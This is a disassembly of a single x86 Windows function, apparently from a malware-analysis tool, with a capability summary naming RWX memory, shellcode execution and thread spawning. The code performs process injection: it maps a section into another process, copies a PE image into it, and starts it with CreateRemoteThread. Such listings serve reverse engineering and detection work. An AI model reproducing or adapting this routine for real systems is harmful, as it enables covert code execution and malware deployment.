Function at 0x403aa9
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Map section object
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [0x420684]
push esi
mov esi, dword [0x420688]
push edi
xor edi, edi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp dword [ebp + 8], eax
mov dword [ebp - 4], edi
sete cl
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], ecx
cmp dword [ebp + 8], edi
je 0x403ca4
cmp ebx, edi
je 0x403ca4
cmp esi, edi
je 0x403ca4
cmp ecx, edi
jne 0x403b40
call fcn.004026ba
test eax, eax
je 0x403b1f
call fcn.004026ba
test eax, eax
je 0x403cbb
push dword [ebp + 8]
push edi
push 0x10043a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x403b48
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403ca4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x403b2e
cmp dword [ebp - 0x14], edi
jne 0x403b89
push dword [ebp - 4]
call fcn.00403a7d
test eax, eax
jne 0x403ca9
xor esi, esi
push dword [ebp + 8]
call fcn.00403969
test eax, eax
jne 0x403b79
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0xa
jl 0x403b5f
push dword [ebp + 8]
call fcn.00403969
test eax, eax
je 0x403ca9
mov esi, dword [ebx + 0x3c]
add esi, ebx
mov eax, dword [esi + 0x50]
cmp eax, edi
je 0x403ca4
push edi
push 0x8000000
push 0x40
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push edi
push 0xe
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntdll.dll_ZwCreateSection]
test eax, eax
js 0x403ca4
push 0x40
push edi
push 2
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
push edi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, dword [sym.imp.ntdll.dll_ZwMapViewOfSection]
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
js 0x403ca4
push 0x40
push edi
push 2
lea eax, [ebp - 0x1c]
push eax
push edi
push edi
push edi
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
call ebx
test eax, eax
js 0x403ca4
push dword [esi + 0x54]
push dword [ebp - 0x20]
push dword [ebp - 8]
call sub.ntdll.dll_memcpy
movzx eax, word [esi + 0x14]
xor ecx, ecx
add esp, 0xc
lea eax, [eax + esi + 0x18]
mov dword [ebp + 8], edi
cmp cx, word [esi + 6]
jae 0x403c55
lea ebx, [eax + 0x14]
mov eax, dword [ebx]
add eax, dword [ebp - 0x20]
push dword [ebx - 4]
push eax
mov eax, dword [ebx - 8]
add eax, dword [ebp - 8]
push eax
call sub.ntdll.dll_memcpy
movzx eax, word [esi + 6]
add esp, 0xc
add ebx, 0x28
inc dword [ebp + 8]
cmp dword [ebp + 8], eax
jl 0x403c2e
mov esi, dword [esi + 0x28]
add esi, dword [ebp - 0x18]
cmp dword [ebp - 0x14], edi
je 0x403c68
push esi
call fcn.0040273c
jmp 0x403c9d
push edi
push edi
push edi
push esi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, edi
je 0x403c8a
push eax
call fcn.00402a54
mov dword [ebp - 0x10], 1
jmp 0x403ca9
push esi
push dword [ebp - 4]
call fcn.004038e6
cmp eax, edi
je 0x403ca9
push eax
call fcn.00402a54
mov dword [ebp - 0x10], 1
cmp dword [ebp - 0x14], edi
jne 0x403cb6
cmp dword [ebp - 4], edi
je 0x403cb6
push dword [ebp - 4]
call fcn.00402a54
cmp dword [ebp - 0x10], edi
jne 0x403ccc
cmp dword [ebp - 0x18], edi
je 0x403ccc
push dword [ebp - 0x18]
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
cmp dword [ebp - 8], edi
je 0x403ce1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
cmp dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
je 0x403cf1
push dword [ebp - 0xc]
call fcn.00402a54
mov eax, dword [ebp - 0x10]
leave
ret 4